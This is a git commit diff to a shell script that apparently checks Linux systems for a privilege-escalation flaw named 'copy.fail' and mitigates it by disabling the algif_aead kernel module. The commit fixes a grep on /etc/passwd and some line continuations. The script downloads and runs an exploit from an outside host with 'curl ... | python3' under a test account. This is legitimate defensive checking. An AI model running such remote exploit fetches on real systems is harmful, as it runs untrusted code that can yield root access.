fix grep, line-contuations

This commit is contained in:
Corwin Brust 2026-05-01 21:23:04 +05:30
parent ccb36dde25
commit d31308e1d7

12
fix-copy-fail.sh Normal file → Executable file
View file

@ -29,7 +29,7 @@
set -x
# Delete the test user if it exists
grep '^testu ' /etc/passwd && deluser testu;
grep '^testu:' /etc/passwd && deluser testu;
# NOTE: this make the script repeatable however
# it will still abandon the 'testu' account
#
@ -44,11 +44,11 @@ grep '^testu ' /etc/passwd && deluser testu;
adduser --disabled-password --gecos='""' testu \
&& su testu -c 'cd; curl https://copy.fail/exp | python3 && su -c id' | grep root \
&& echo "EXPLOIT DETECTED: copy.fail FFI, please see: https://copy.fail" \
&& echo
&& echo "The system MUST be restarted before confirming the fix."
&& echo "If changes are made this should happen automatically but do it manually if that fails."
&& echo
&& echo "Pausing for ten seconds before attempting to fix.."
&& echo \
&& echo "The system MUST be restarted before confirming the fix." \
&& echo "If changes are made this should happen automatically but do it manually if that fails." \
&& echo \
&& echo "Pausing for ten seconds before attempting to fix.." \
&& sleep 10 \
&& echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf \
&& rmmod algif_aead \